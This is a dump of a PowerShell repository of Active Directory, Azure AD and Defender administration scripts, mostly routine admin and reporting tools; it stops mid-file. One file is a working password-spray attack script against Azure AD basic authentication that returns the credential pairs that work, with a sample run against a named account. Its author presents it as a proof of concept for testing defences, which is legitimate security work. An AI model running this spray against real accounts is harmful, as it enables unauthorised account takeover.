├── AD
├── Groups
│ └── Add-mUserToGroup.ps1
├── SSPR
│ └── Get-ADSSPRLogs.ps1
└── StaleDevices
│ └── Move-StaleDevice.ps1
├── AV
└── new-eicar.ps1
├── Applocker
└── applocker.ps1
├── AzureAD
├── AppRegistrations
│ ├── Get-AzADAppCredentialInformation.ps1
│ └── code.txt
├── AzureADIncidentResponse.ps1
├── ConditionalAccess
│ └── readme.md
├── Invoke-AzureAdPasswordSprayAttack.ps1
├── Licensing
│ ├── getassigninfo.ps1
│ └── licensemagicreport.ps1
├── MFA
│ ├── MfaAuthMethodsAnalysisV1
│ │ ├── MfaAuthMethodsAnalysis.ps1
│ │ └── mfastats.ps1
│ ├── MfaAuthMethodsAnalysisV2
│ │ ├── Get-AzureADUserAuthMethodInventory.ps1
│ │ ├── authmethod01.png
│ │ └── readme.md
│ └── OldStuff
│ │ ├── Add-mUserToGroup.ps1
│ │ ├── Get-AzMFADeploymentStats.ps1
│ │ ├── Get-AzMFAStatus.ps1
│ │ └── add-mfagroup.ps1
├── Revoke
│ └── revoke.ps1
└── Test-AzureADUserExistence.ps1
├── CredentialGuard
└── credentialguard.md
├── DKIM
├── DKIM.ps1
├── Validate-DkimConfig.ps1
└── Validate-DkimConfig2.ps1
├── DefenderforEndpoint
├── Cleanup
│ └── defenderfiles.ps1
├── DefenderASR
│ ├── ASR_Analyzer_v2.2.ps1
│ ├── ASR_Rules_PoSh_GUI.exe
│ ├── ASR_Rules_PoSh_GUI.ps1
│ ├── Get-DefenderEGEvents.ps1
│ └── README.MD
├── Download updates
│ └── secupdate.ps1
├── Eventlog
│ └── events.ps1
├── Exclude
│ └── exchange.xml
├── Exclusions
│ └── Validate-DefenderExclusoins.ps1
├── Get-DefenderATPStatus.ps1
├── KQL
│ ├── New-KQPSModuleFunctions.ps1
│ └── kql_internals_2020.pdf
├── Onboarding
│ ├── CI Scripts
│ │ ├── CI_DefenderOnboarding_Discovery.ps1
│ │ └── CI_DefenderOnboarding_Remediation.ps1
│ ├── Convert-MDEOnboardingBase64.ps1
│ ├── New-CMCIDefenderOnboarding_Discovery.ps1
│ ├── New-CMCIDefenderOnboarding_Remediation.ps1
│ └── readme.md
├── OnboardingServers
│ └── Install-MMAAgent.ps1
├── ReverseTCPAttack.md
└── USB
│ └── scanusb.ps1
├── EXO
├── Delayed_mail_delivery_time.ps1
├── connect_exchange.ps1
├── connect_exchange_mfa.ps1
├── enable_global_audit_logging.ps1
├── mbx_fwd_rules.ps1
└── traceit2.ps1
├── EndpointConfigurationManager
└── ExportAntimalwareExclusions
│ ├── doit.ps1
│ ├── export-CMExclusions.ps1
│ └── export-cmdefenderpolicy.ps1
├── GPO
└── Get-GPOLink.ps1
├── Ignite
└── 2019
│ ├── Get-EventSession.ps1
│ ├── ffmpeg.exe
│ ├── findstuff.ps1
│ └── youtube-dl.exe
├── LAPS
├── Get-LAPSLoggingMode.ps1
└── Set-LAPSLoggingMode.ps1
├── LICENSE
├── M365Roadmap
└── Get-Office365Roadmap.ps1
├── MCAS
├── Connect-PSMCAS.ps1
├── MCAS Samples.md
└── MCAS-Powershell Samples.ps1
├── Notes
└── Notes.md
├── PrintSpooler
└── MEMCMBaseLine
│ ├── CI Scripts
│ ├── CI_PrintSpoolerService_Discovery.ps1
│ └── CI_PrintSpoolerService_Remediation.ps1
│ ├── New-CMCIPrintSpoolerService.ps1
│ └── readme.md
├── README.md
├── Windows
├── Set-NetBiosDisabled.ps1
└── Set-NetBiosEnabled.ps1
└── WindowsFirewall
└── Get-WFPEvents.ps1
/AD/Groups/Add-mUserToGroup.ps1:
--------------------------------------------------------------------------------
1 |
2 | function Add-mUserToGroup
3 | {
4 | <#
5 | .Synopsis
6 | Add-mUserToGroup
7 | .DESCRIPTION
8 | Add-mUserToGroup adds one or more Active Directory users from an input file to the specified
9 | Active Directory group.
10 |
11 | .PARAMETER InputFile
12 | A txt input file that contains a list of users in the format of the users UserPrincipalName
13 |
14 | john.monroe@company.com
15 | jane.keen@company.com
16 | tom.wayne@company.com
17 |
18 | .PARAMETER UserPrincipalName
19 | The UserPrincipalName of the user to add to the group. User this cmdlet to add a single user to a group
20 | without using an input file
21 |
22 | .PARAMETER Group
23 | The Active Directory Group to add users
24 |
25 | .EXAMPLE
26 | Add-mUserToGroup -InputFile c:\data\userlist.txt -Group MTG_MFA_ROLLOUT_TEST
27 |
28 | The above command reads the userprincipalnames from the userlist.txt and adds
29 | each user into the Active Directory group MTG_MFA_ROLLOUT_TEST
30 |
31 | .EXAMPLE
32 | Add-mUserToGroup -UserPrincipalName jane@verboon.org -Group MTG_MFA_ROLLOUT_TEST
33 |
34 | The above command adds jane to the specified group
35 |
36 | .EXAMPLE
37 | Add-mUserToGroup -InputFile c:\data\userlist.txt -Group MTG_MFA_ROLLOUT_TEST -whatif
38 |
39 | The above command only shows the users that would be added, but does not perform the
40 | actual task of adding users to the specified group.
41 |
42 | .NOTES
43 | v1.0, 01.04.2020, Alex Verboon
44 | #>
45 | [CmdletBinding(DefaultParameterSetName='Parameter Set 1',
46 | SupportsShouldProcess=$true,
47 | ConfirmImpact='Medium')]
48 | Param
49 | (
50 | # Input file with list of users (UserPrincipalName)
51 | [Parameter(Mandatory=$true,
52 | Position=0,
53 | ParameterSetName='InputFile')]
54 | [ValidateNotNullOrEmpty()]
55 | [string]$InputFile,
56 |
57 | # Active Directory User
58 | [Parameter(Mandatory=$true,
59 | Position=0,
60 | ParameterSetName='User')]
61 | [ValidateNotNullOrEmpty()]
62 | [string]$UserPrincipalName,
63 |
64 | # Active Directory Group
65 | [Parameter(Mandatory=$true,
66 | Position=1)]
67 | [ValidateNotNullOrEmpty()]
68 | [string]$Group
69 | )
70 |
71 | Begin
72 | {
73 | $UserList = $null
74 |
75 |
76 |
77 |
78 | # Check if input file is valid
79 | If($InputFile)
80 | {
81 | If (Test-Path -Path $InputFile -PathType Leaf)
82 | {
83 | $UserList = Get-Content -Path $InputFile
84 | Write-Verbose "InputFile: $InputFile"
85 | }
86 | Else
87 | {
88 | Write-Error "Specified file $InputFile does not exist"
89 | Break
90 | }
91 | }
92 | ElseIf($UserPrincipalName)
93 | {
94 |
95 | Write-Verbose "Check if user exists"
96 | $ADUser = @(Get-ADUser -Filter "UserPrincipalName -eq '$UserPrincipalName'" -Properties * -ErrorAction Stop)
97 | If ([string]::IsNullOrEmpty($ADUser))
98 | {
99 | Write-Error "User: $UserPrincipalName does not exist"
100 | }
101 | Else
102 | {
103 | $UserList = @($UserPrincipalName)
104 | Write-Verbose "AD User: $UserPrincipalName"
105 | }
106 | }
107 |
108 |
109 |
110 |
111 |
112 |
113 | If ($Group)
114 | {
115 | Try{
116 | $ADGroup = Get-ADGroup -Identity "$Group" -ErrorAction stop
117 | Write-Verbose "AD Group: $Group"
118 | }
119 | Catch{
120 | Write-Error "Group $Group does not exist"
121 | Break
122 | }
123 | }
124 | }
125 | Process
126 | {
127 | ForEach ($user in $UserList)
128 | {
129 | Write-Verbose "Processing user $user"
130 | if ($pscmdlet.ShouldProcess("$User", "Adding user to group $Group"))
131 | {
132 | $UserToAdd = Get-ADUser -Filter "UserPrincipalName -eq '$user'"
133 | If([string]::IsNullOrEmpty($UserToAdd))
134 | {
135 | Write-Warning "User $user not found"
136 | }
137 | Else
138 | {
139 | Add-ADGroupMember -Identity $ADGroup -Members $UserToAdd
140 | }
141 | }
142 | }
143 | }
144 | End
145 | {
146 |
147 | }
148 | }
149 |
150 |
151 |
152 |
153 |
154 |
155 |
156 |
157 |
158 |
159 |
160 |
161 |
--------------------------------------------------------------------------------
/AD/SSPR/Get-ADSSPRLogs.ps1:
--------------------------------------------------------------------------------
1 |
2 | function Get-ADSSPRLogs
3 | {
4 | <#
5 | .Synopsis
6 | Get-ADSSPRLogs
7 | .DESCRIPTION
8 | Get-ADSSPRLogs retrieves the Azure AD Self Service Password Reset event logs
9 | from the domain controller.
10 | .PARAMETER Computername
11 | Gets events from the event logs on the specified computer. By default, it will
12 | run against the local computer.
13 |
14 | .PARAMETER MaxEvents
15 | Specifies the maximum number of events that Get-ADSSPRLogs returns. Enter an
16 | integer. The default is to return all the events in the logs.
17 |
18 | .PARAMETER Reference
19 | The reference parameter can be used to search for events that have a particular
20 | TrackingID or username referenced within the Event message.
21 |
22 | .EXAMPLE
23 | Get-ADSSPRLogs -Computername S2DC1
24 |
25 | Lists all PasswordResetService events from the specified computer
26 |
27 | .EXAMPLE
28 | Get-ADSSPRLogs -Computername S2DC1 -MaxEvents 10
29 |
30 | Only lists the last 10 PasswordResetService events from the specified computer
31 |
32 | .EXAMPLE
33 | Get-ADSSPRLogs -Computername S2DC1 -Reference "49545e06-10d9-4596-bc51-99cbdc4a61e6"
34 |
35 | Lists all events with the specified TackingID. The TrackingID is the same as the
36 | CorrelationId that is shown in the Azure Audit log.
37 |
38 | .EXAMPLE
39 | Get-ADSSPRLogs -Computername S2DC1 -Reference "someone@company.com"
40 |
41 | Lists all events related to the referenced UserPrincipalName
42 | #>
43 |
44 | [CmdletBinding()]
45 | Param
46 | (
47 | # The computername of the domain controller
48 | [Parameter(ValueFromPipeline)]
49 | [string]$ComputerName = $env:ComputerName,
50 | [Parameter(ValueFromPipeline)]
51 | [int]$MaxEvents,
52 | [Parameter(ValueFromPipeline)]
53 | [string]$Reference
54 | )
55 |
56 | Begin
57 | {
58 | # Self Service Password Log
59 | $SSPRLog = @{
60 | LogName = "Application"
61 | ProviderName = "PasswordResetService"
62 | }
63 | }
64 | Process
65 | {
66 | Try{
67 | If ($MaxEvents)
68 | {
69 | $ADSSPREvents = Get-WinEvent -ComputerName $ComputerName -FilterHashtable $SSPRLog -MaxEvents $MaxEvents
70 | }
71 | Else
72 | {
73 | $ADSSPREvents = Get-WinEvent -ComputerName $ComputerName -FilterHashtable $SSPRLog
74 | }
75 | }
76 | Catch{
77 | ## Write a warning to the console with the message thrown
78 | Write-Warning $_.Exception.Message
79 | }
80 | }
81 | End
82 | {
83 | If ($Reference)
84 | {
85 | Write-Verbose "Displaying all events that contain $Reference"
86 | $ADSSPREvents | Where-Object {$_.Message -like "*$Reference*"}
87 | }
88 | Else
89 | {
90 | $ADSSPREvents
91 | }
92 | }
93 | }
94 |
95 |
96 |
--------------------------------------------------------------------------------
/AD/StaleDevices/Move-StaleDevice.ps1:
--------------------------------------------------------------------------------
1 |
2 | function Move-StaleDevice
3 | <#
4 | .Synopsis
5 | Move-StaleDevice
6 | .DESCRIPTION
7 | Move-StaleDevice moves the specified computer to the specified OU
8 |
9 | Use the Search-AD object to identify inactive devices
10 | Search-ADAccount -AccountInactive –ComputersOnly -TimeSpan 90
11 |
12 | .PARAMETER ComputerDistinguishedName
13 | The DistinguishedName of the computer object to be moved
14 |
15 | CN=Server2016-01,OU=Datacenter,DC=corp,DC=net
16 |
17 | .PARAMETER TargetOU
18 | The DistinguishedName name of the organizational unit in active directory where the computer object is moved to.
19 |
20 | OU=ServerDevices,OU=StaleDevices,DC=corp,DC=net
21 |
22 | .EXAMPLE
23 |
24 | Move-StaleDevice -ComputerDistinguishedName "CN=Server2016-01,OU=Datacenter,DC=corp,DC=net" -TargetOU "OU=ServerDevices,OU=StaleDevices,DC=corp,DC=net"
25 |
26 | This command moves the computer server2016-01 located in the OU Datacenter to the OU OU=ServerDevices,OU=StaleDevices,DC=corp,DC=net"
27 |
28 | .EXAMPLE
29 |
30 | $StaleDevices = @(Search-ADAccount -AccountInactive –ComputersOnly -TimeSpan 90).DistinguishedName
31 | $output = ForEach($computer in $StaleDevices)
32 | {
33 | Move-StaleDevice -ComputerDistinguishedName "$computer" -TargetOU "OU=ServerDevices,OU=StaleDevices,DC=corp,DC=net"
34 | }
35 | $output
36 |
37 |
38 | ComputerName TargetOU MoveStatus
39 | ------------ -------- ----------
40 | CN=Server2016-01,OU=Datacenter,DC=corp,DC=net OU=ServerDevices,OU=StaleDevices,DC=corp,DC=net Sucess
41 | CN=Server2016-02,OU=Datacenter,DC=corp,DC=net OU=ServerDevices,OU=StaleDevices,DC=corp,DC=net Sucess
42 | CN=Server2019-01,OU=Datacenter,DC=corp,DC=net OU=ServerDevices,OU=StaleDevices,DC=corp,DC=net Sucess
43 |
44 | The above command provides an example of moviing several computer objects.
45 |
46 | .NOTES
47 | version 1.0, 20.10.2020, Alex Verboon
48 | .COMPONENT
49 | .ROLE
50 | .FUNCTIONALITY
51 | #>
52 |
53 | {
54 | [CmdletBinding(SupportsShouldProcess=$true,
55 | ConfirmImpact='Medium')]
56 | Param
57 | (
58 | # Computer DistinguishedName
59 | [Parameter(Mandatory=$true)]
60 | [ValidateNotNull()]
61 | [ValidateNotNullOrEmpty()]
62 | $ComputerDistinguishedName,
63 | # Target OU where the device is moved to
64 | [Parameter(Mandatory=$false)]
65 | #[ValidateNotNull()]
66 | #[ValidateNotNullOrEmpty()]
67 | $TargetOU="OU=ServerDevices,OU=StaleDevices,DC=corp,DC=net"
68 | )
69 |
70 | Begin
71 | {
72 | Try {
73 | Import-Module ActiveDirectory -ErrorAction Stop -Verbose:$false
74 | } catch {
75 | Write-Error "Active Directory module failed to Import. Terminating the script. More details : $_"
76 | exit(1)
77 | }
78 |
79 | # Check if Active Directory Organizational Unit where the object is moved to exists
80 | If(!(Get-ADOrganizationalUnit -Filter "DistinguishedName -eq '$TargetOU'")) {
81 | Write-Error "Organizational Unit $TargetOU does not exist."
82 | Break
83 | }
84 | }
85 | Process
86 | {
87 | $Result = [System.Collections.ArrayList]::new()
88 | $movecount = 0
89 | if ($pscmdlet.ShouldProcess("$ComputerDistinguishedName", "Move object to $TargetOU"))
90 | {
91 | Try{
92 | Move-ADObject -Identity "$ComputerDistinguishedName" -TargetPath $TargetOU -Verbose
93 | $movecount++
94 | $MoveStatus="Sucess"
95 | }
96 | # Specified Computer object not found
97 | Catch [Microsoft.ActiveDirectory.Management.ADIdentityNotFoundException]
98 | {
99 | $ErrorMessage = $Error[0] #.Exception.GetType().FullName
100 | Write-Error "Device $ComputerDistinguishedName not found: $ErrorMessage"
101 | $MoveStatus="Failed"
102 | }
103 | # Any other AD exception
104 | Catch [Microsoft.ActiveDirectory.Management.ADException]
105 | {
106 | $ErrorMessage = $Error[0] #.Exception.GetType() #.FullName
107 | write-Error $ErrorMessage
108 | $MoveStatus="Failed"
109 | }
110 | Catch{
111 | $ErrorMessage = $Error[0] #.Exception.GetType().FullName
112 | Write-Error "There was an error: $ErrorMessage"
113 | $MoveStatus="Failed"
114 | }
115 |
116 | $object = [PSCustomObject]@{
117 | ComputerName = $ComputerDistinguishedName
118 | TargetOU = $TargetOU
119 | MoveStatus = $MoveStatus
120 | }
121 | [void]$Result.Add($object)
122 | }
123 | $Result
124 | }
125 | End
126 | {
127 | }
128 | }
129 |
130 |
131 |
132 |
133 |
134 |
--------------------------------------------------------------------------------
/AV/new-eicar.ps1:
--------------------------------------------------------------------------------
1 | function New-Eicar {
2 | <#
3 | .SYNOPSIS
4 |
5 | New-Eicar
6 |
7 | Author: Chris Campbell (@obscuresec)
8 | License: BSD 3-Clause
9 |
10 | .DESCRIPTION
11 |
12 | A function that generates the EICAR string to test ondemand scanning of antivirus products.
13 |
14 | .PARAMETER $Path
15 |
16 | Specifies the path to write the eicar file to.
17 |
18 | .EXAMPLE
19 |
20 | PS C:\> New-Eicar -Path c:\test
21 |
22 | .NOTES
23 |
24 | During testing, several AV products caused the script to hang, but it always completed after a few minutes.
25 |
26 | .LINK
27 |
28 | http://obscuresec.com/2013/01/New-Eicar.html
29 | https://github.com/obscuresec/random/blob/master/New-Eicar
30 |
31 | #>
32 | [CmdletBinding()] Param(
33 | [ValidateScript({Test-Path $_ -PathType 'Container'})]
34 | [string]
35 | $Path = "$env:temp\"
36 | )
37 | [string] $FilePath = (Join-Path $Path eicar.com)
38 | #Base64 of Eicar string
39 | [string] $EncodedEicar = 'WDVPIVAlQEFQWzRcUFpYNTQoUF4pN0NDKTd9JEVJQ0FSLVNUQU5EQVJELUFOVElWSVJVUy1URVNULUZJTEUhJEgrSCo='
40 |
41 | If (!(Test-Path -Path $FilePath)) {
42 |
43 | Try {
44 | [byte[]] $EicarBytes = [System.Convert]::FromBase64String($EncodedEicar)
45 | [string] $Eicar = [System.Text.Encoding]::UTF8.GetString($EicarBytes)
46 | Set-Content -Value $Eicar -Encoding ascii -Path $FilePath -Force
47 | }
48 |
49 | Catch {
50 | Write-Warning "Eicar.com file couldn't be created. Either permissions or AV prevented file creation."
51 | }
52 | }
53 |
54 | Else {
55 | Write-Warning "Eicar.com already exists!"
56 | }
57 |
58 | }
--------------------------------------------------------------------------------
/Applocker/applocker.ps1:
--------------------------------------------------------------------------------
1 | # Retrieve the Applocker Policy Settings
2 | $AppLockerGPOName = "Workplace-P-AppLocker-CMP"
3 | $AppLockerGPOSettings = Get-GPO -Name "$AppLockerGPOName" | Select-Object *
4 | $AppLockerPolicy = Get-AppLockerPolicy -Domain -Ldatp "LDAP:// $($$AppLockerGPOSettings.Path)"
5 |
6 | #Executable to test
7 | $TestFile = "C:\Temp\Testme.exe"
8 | # Test Impact
9 | Test-AppLockerPolicy -PolicyObject $AppLockerPolicy -Path $TestFile -User corp.net\tina
10 |
--------------------------------------------------------------------------------
/AzureAD/AppRegistrations/Get-AzADAppCredentialInformation.ps1:
--------------------------------------------------------------------------------
1 | <#
2 | .Synopsis
3 | Get-AzADAppCredentialInformation
4 | .DESCRIPTION
5 | Get-AzADAppCredentialInformation
6 | .PARAMETER AppCredentialsExpiringThreshold
7 | The number of days until an App Registration credential expires
8 | .PARAMETER Detail
9 | Shows detailed start and end dates of registered credentials
10 |
11 | .EXAMPLE
12 | Get-AzADAppCredentialInformation
13 |
14 | .EXAMPLE
15 | Get-AzADAppCredentialInformation -Details
16 | #>
17 | [CmdletBinding()]
18 | Param
19 | (
20 | # Number of days until the App Registration credential expires
21 | [Parameter(Mandatory=$false)]
22 | $AppCredentialsExpiringThreshold,
23 | # show detiled credential start end dates
24 | [switch]$Detail
25 | )
26 | Begin
27 | {
28 | # Azure AD connect
29 | if (-not (Get-AzContext)){
30 | write-error "No subscription found in the context. Please ensure that the credentials you provided are authorized to access an Azure subscription, then run Connect-AzAccount to login."
31 | Break
32 | }
33 |
34 | # Set the AppCredentialsExpiringThreshold to 360 if nothing is specified
35 | If ($AppCredentialsExpiringThreshold -eq $null){
36 | [int]$AppCredentialsExpiringThreshold = 360
37 | }
38 | Write-Verbose "AppCredentialsExpiringThreshold: $AppCredentialsExpiringThreshold"
39 | }
40 | Process
41 | {
42 | $Result = [System.Collections.ArrayList]::new()
43 | $CredResult = [System.Collections.ArrayList]::new()
44 | Write-Output "Retrieving App Registrations..."
45 | $AppRegs = Get-AzADApplication
46 | ForEach($app in $AppRegs){
47 | Write-Verbose "Retrieving credential information: $($app.DisplayName)"
48 | $AppCredentials = @(Get-AzADAppCredential -ObjectID "$($App.Objectid)")
49 | $AppCredentialsExpiredCount=0
50 | $AppCredentialsExpiring=0
51 | $credState=$null
52 | ForEach($cred in $AppCredentials){
53 | $expdays = (New-TimeSpan -Start (Get-Date).ToUniversalTime() -End $cred.EndDate).Days
54 | Write-Verbose "Expiring Days: $expdays"
55 | If($expdays -lt 0){
56 | $AppCredentialsExpiredCount++
57 | $credState = "Expired"
58 | }
59 | ElseIf($expdays -lt $AppCredentialsExpiringThreshold){
60 | $AppCredentialsExpiring++
61 | $credState = "Expiring"
62 | }
63 | Else{
64 | $credState = "OK"
65 | }
66 | $credObject = [PSCustomObject]@{
67 | DisplayName = $app.DisplayName
68 | StartDate = $cred.StartDate
69 | EndDate = $cred.EndDate
70 | KeyId = $cred.KeyId
71 | Type = $cred.Type
72 | State = $credState
73 | }
74 | [void]$CredResult.Add($credObject)
75 | }
76 | $object = [PSCustomObject]@{
77 | DisplayName = $app.DisplayName
78 | ObjectId = $app.Objectid
79 | ApplicationId = $app.ApplicationId
80 | AvailableToOtherTenants = $app.AvailableToOtherTenants
81 | AppCredentials = $AppCredentials
82 | AppCredentialsCount = $AppCredentials.Count
83 | AppCredentialsExpiredCount = $AppCredentialsExpiredCount
84 | AppCredentilsExpiring = $AppCredentialsExpiring
85 | }
86 | [void]$Result.Add($object)
87 | }
88 | If ($PSBoundParameters.Keys.Contains('Detail'))
89 | {
90 | $CredResult
91 | }
92 | Else
93 | {
94 | $Result
95 | }
96 | }
97 | End
98 | {}
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
--------------------------------------------------------------------------------
/AzureAD/AppRegistrations/code.txt:
--------------------------------------------------------------------------------
1 | [int]$AppCredentialsExpiringThreshold = 360
2 | $Result = [System.Collections.ArrayList]::new()
3 | $AppRegs = Get-AzADApplication
4 | ForEach($app in $AppRegs){
5 | $AppCredentials = @(Get-AzADAppCredential -ObjectID "$($App.Objectid)")
6 | $AppCredentialsExpiredCount=0
7 | $AppCredentialsExpiring=0
8 | ForEach($cred in $AppCredentials){
9 | $expdays = (New-TimeSpan -Start (Get-Date) -End $cred.EndDate).Days
10 | If($expdays -lt 0){
11 | $AppCredentialsExpiredCount++
12 | }
13 | ElseIf($expdays -lt $AppCredentialsExpiringThreshold){
14 | $AppCredentialsExpiring++
15 | }
16 | }
17 | $object = [PSCustomObject]@{
18 | DisplayName = $app.DisplayName
19 | ObjectId = $app.Objectid
20 | ApplicationId = $app.ApplicationId
21 | AvailableToOtherTenants = $app.AvailableToOtherTenants
22 | AppPermissions = $app.AppPermissions
23 | ReplyUrls = $app.ReplyUrls
24 | ObjectType = $app.ObjectType
25 | IdentifierUris = $app.IdentifierUris
26 | HomePage = $app.HomePage
27 | AppCredentials = $AppCredentials
28 | AppCredentialsCount = $AppCredentials.Count
29 | AppCredentialsExpiredCount = $AppCredentialsExpiredCount
30 | AppCredentilsExpiring = $AppCredentialsExpiring
31 | }
32 | [void]$Result.Add($object)
33 | }
--------------------------------------------------------------------------------
/AzureAD/AzureADIncidentResponse.ps1:
--------------------------------------------------------------------------------
1 | ## https://www.powershellgallery.com/packages/AzureADIncidentResponse/4.0
2 | ## Install AzureADIncident Response Module from MS DART Team
3 |
4 |
5 | Install-Module -Name AzureADIncidentResponse -Scope CurrentUser
6 | Get-Command -Module AzureADIncidentResponse
7 |
8 | $domainname = "verboon.online"
9 | $TenantID = (Get-AzureADIRTenantId -DomainName $domainname)
10 |
11 | Connect-AzureADIR -TenantId $TenantID
12 | Get-AzureADIRConditionalAccessPolicy -All -TenantId $TenantID
13 | Get-AzureADIRMfaAuthMethodAnalysis -TenantId $TenantID
14 | Get-AzureADIRUserLastSignInActivity -TenantId $TenantID -StaleThreshold 90
15 | Get-AzureADIRPermission -TenantId $TenantID
16 |
--------------------------------------------------------------------------------
/AzureAD/ConditionalAccess/readme.md:
--------------------------------------------------------------------------------
1 | # Conditional Access Documentation
2 |
3 | [Conditinal Access Documentation](https://github.com/nicolonsky/ConditionalAccessDocumentation)
--------------------------------------------------------------------------------
/AzureAD/Invoke-AzureAdPasswordSprayAttack.ps1:
--------------------------------------------------------------------------------
1 | function Invoke-AzureAdPasswordSprayAttack {
2 | <#
3 | .SYNOPSIS
4 | Perform a password spray attack against Azure AD.
5 |
6 | .DESCRIPTION
7 | The script will perform a password spray attack against Azure AD (using the legacy Office 365 reporting API is used with basic authentication). This script will not work if legacy authentication in Azure AD is blocked. Use Conditional Access to protect your organisation.
8 |
9 | Specify a list of usernames (email addresses) to attack with the -UserName parameter. Specify passwords to try with the -Password parameter. If you try more than four passwords, users may be blocked by Smart Lockout in Azure AD.
10 |
11 | .PARAMETER UserNames
12 | An array of one or more usernames to attack.
13 |
14 | .PARAMETER Passwords
15 | An array of one or more passwords to try. Don't lock users out!
16 |
17 | .EXAMPLE
18 | $UserNames = "user1@example.com",
19 | "user2@example.com",
20 | "user3@example.com",
21 | "user4@example.com"
22 |
23 | $Passwords = "Sommar2019", "Sommar2020", "Sommar2019!", "Sommar2020!"
24 |
25 | Invoke-AzureAdPasswordSprayAttack -UserNames $UserNames -Passwords $Passwords
26 |
27 | .NOTES
28 | Version: 1.0
29 | Author: Daniel Chronlund
30 | Creation Date: 2020-03-16
31 |
32 | Warning: This script is a proof of concept and for testing purposes only. Do not use this script in an unethical or unlawful way.
33 | #>
34 |
35 | param ($UserNames, $Passwords)
36 |
37 | Write-Verbose -Verbose -Message "Starting password spray attack ($($UserNames.Count) users)..."
38 |
39 | # Set progress counter.
40 | $i = 0
41 |
42 | Write-Progress -Activity "Running password spray attack" -Status "0% complete:" -PercentComplete 0;
43 |
44 | foreach ($UserName in $UserNames) {
45 | # Try every password.
46 | foreach ($Password in $Passwords) {
47 | # Convert password to secure string.
48 | $SecureString = $Password | ConvertTo-SecureString -AsPlainText -Force
49 |
50 | # Create PSCredential object from username and password.
51 | $Cred = New-Object System.Management.Automation.PSCredential($UserName, $SecureString)
52 |
53 | # Try to connect to Office 365 reporting API with basic authentication.
54 | try {
55 | Invoke-WebRequest -Uri "https://reports.office365.com/ecp/reportingwebservice/reporting.svc" -Credential $Cred | Out-Null
56 |
57 | # Create custom object.
58 | $UserObject = New-Object -TypeName psobject
59 | $UserObject | Add-Member -MemberType NoteProperty -Name "UserName" -Value $UserName
60 | $UserObject | Add-Member -MemberType NoteProperty -Name "Password" -Value $Password
61 |
62 | $UserObject
63 | } catch {
64 | # Do nothing.
65 | }
66 | }
67 |
68 | # Add to counter.
69 | $i++
70 |
71 | # Write progress.
72 | Write-Progress -Activity "Running password spray attack" -Status "$([math]::Round($i / $UserNames.Count * 100))% complete:" -PercentComplete ([math]::Round($i / $UserNames.Count * 100));
73 | }
74 | }
75 |
76 | $UserNames = "sam@verboon.online"
77 |
78 | ## $passwords = Get-Content -Path "C:\Tools\ruler\passwords.txt"
79 |
80 | $Passwords = "Sommar2019", "Sommar2020", "Sommar2019!", "Sommar2020!","abc","123","password123"
81 |
82 | Invoke-AzureAdPasswordSprayAttack -UserNames $UserNames -Passwords $Passwords
--------------------------------------------------------------------------------
/AzureAD/Licensing/getassigninfo.ps1:
--------------------------------------------------------------------------------
1 | #Returns TRUE if the user has the license assigned directly
2 | function UserHasLicenseAssignedDirectly
3 | {
4 | Param([Microsoft.Online.Administration.User]$user, [string]$skuId)
5 | foreach($license in $user.Licenses)
6 | {
7 | #we look for the specific license SKU in all licenses assigned to the user
8 | if ($license.AccountSkuId -ieq $skuId)
9 | {
10 | #GroupsAssigningLicense contains a collection of IDs of objects assigning the license
11 | #This could be a group object or a user object (contrary to what the name suggests)
12 | #If the collection is empty, this means the license is assigned directly. This is the case for users who have never been licensed via groups in the past
13 | if ($license.GroupsAssigningLicense.Count -eq 0)
14 | {
15 | return $true
16 | }
17 | #If the collection contains the ID of the user object, this means the license is assigned directly
18 | #Note: the license may also be assigned through one or more groups in addition to being assigned directly
19 | foreach ($assignmentSource in $license.GroupsAssigningLicense)
20 | {
21 | if ($assignmentSource -ieq $user.ObjectId)
22 | {
23 | return $true
24 | }
25 | }
26 | return $false
27 | }
28 | }
29 | return $false
30 | }
31 | #Returns TRUE if the user is inheriting the license from a group
32 | function UserHasLicenseAssignedFromGroup
33 | {
34 | Param([Microsoft.Online.Administration.User]$user, [string]$skuId)
35 | foreach($license in $user.Licenses)
36 | {
37 | #we look for the specific license SKU in all licenses assigned to the user
38 | if ($license.AccountSkuId -ieq $skuId)
39 | {
40 | #GroupsAssigningLicense contains a collection of IDs of objects assigning the license
41 | #This could be a group object or a user object (contrary to what the name suggests)
42 | foreach ($assignmentSource in $license.GroupsAssigningLicense)
43 | {
44 | #If the collection contains at least one ID not matching the user ID this means that the license is inherited from a group.
45 | #Note: the license may also be assigned directly in addition to being inherited
46 | if ($assignmentSource -ine $user.ObjectId)
47 |
48 | {
49 | return $true
50 | }
51 | }
52 | return $false
53 | }
54 | }
55 | return $false
56 | }
57 |
58 |
59 | #the license SKU we are interested in
60 | $skuId = "swissre:AAD_PREMIUM_P2"
61 | #find all users that have the SKU license assigned
62 | Get-MsolUser -All | where {$_.isLicensed -eq $true -and $_.Licenses.AccountSKUID -eq $skuId} | select `
63 | ObjectId, `
64 | @{Name="SkuId";Expression={$skuId}}, `
65 | @{Name="AssignedDirectly";Expression={(UserHasLicenseAssignedDirectly $_ $skuId)}}, `
66 | @{Name="AssignedFromGroup";Expression={(UserHasLicenseAssignedFromGroup $_ $skuId)}}
67 |
--------------------------------------------------------------------------------
/AzureAD/Licensing/licensemagicreport.ps1:
--------------------------------------------------------------------------------
1 |
2 |
3 | # The command defines the SKUs we're interested in
4 | $SkuScope = Get-AzureADSubscribedSku | Select Sku*, ConsumedUnits ,prepaidunits # | where {$_.SkuPartNumber -eq 'EMSPREMIUM' -or $_.SkuPartNumber -eq 'THREAT_INTELLIGENCE' -or $_.SkuPartNumber -eq 'EMS' -or $_.SkuPartNumber -eq 'IDENTITY_THREAT_PROTECTION' -or $_.SkuPartNumber -eq 'WIN_DEF_ATP' -or $_.SkuPartNumber -eq 'ENTERPRISEPACK' -or $_.SkuPartNumber -eq 'STANDARDPACK' }
5 |
6 |
7 | # This data is used to decode the SKUSumValue
8 | $sku_lookup1 = @{
9 | 1="EMSPREMIUM"
10 | 2="ENTERPRISEPACK"
11 | 4="EMS"
12 | 8="IDENTITY_THREAT_PROTECTION"
13 | 16="WIN_DEF_ATP"
14 | 32="STANDARDPACK"
15 | }
16 |
17 | #$value = 4
18 | #$decoded = $sku_lookup1.Keys | foreach {$sku_lookup1.item(($_ ) -band $value)}
19 | #$decoded
20 |
21 |
22 |
23 | # This data is used to define the band value for each SKU
24 | $sku_band_value = @{
25 | "WIN_DEF_ATP" = "1"
26 | "EMS" = "2"
27 | "EMSPREMIUM" = "4"
28 | "STANDARDPACK" = "8"
29 | "ENTERPRISEPACK" = "16"
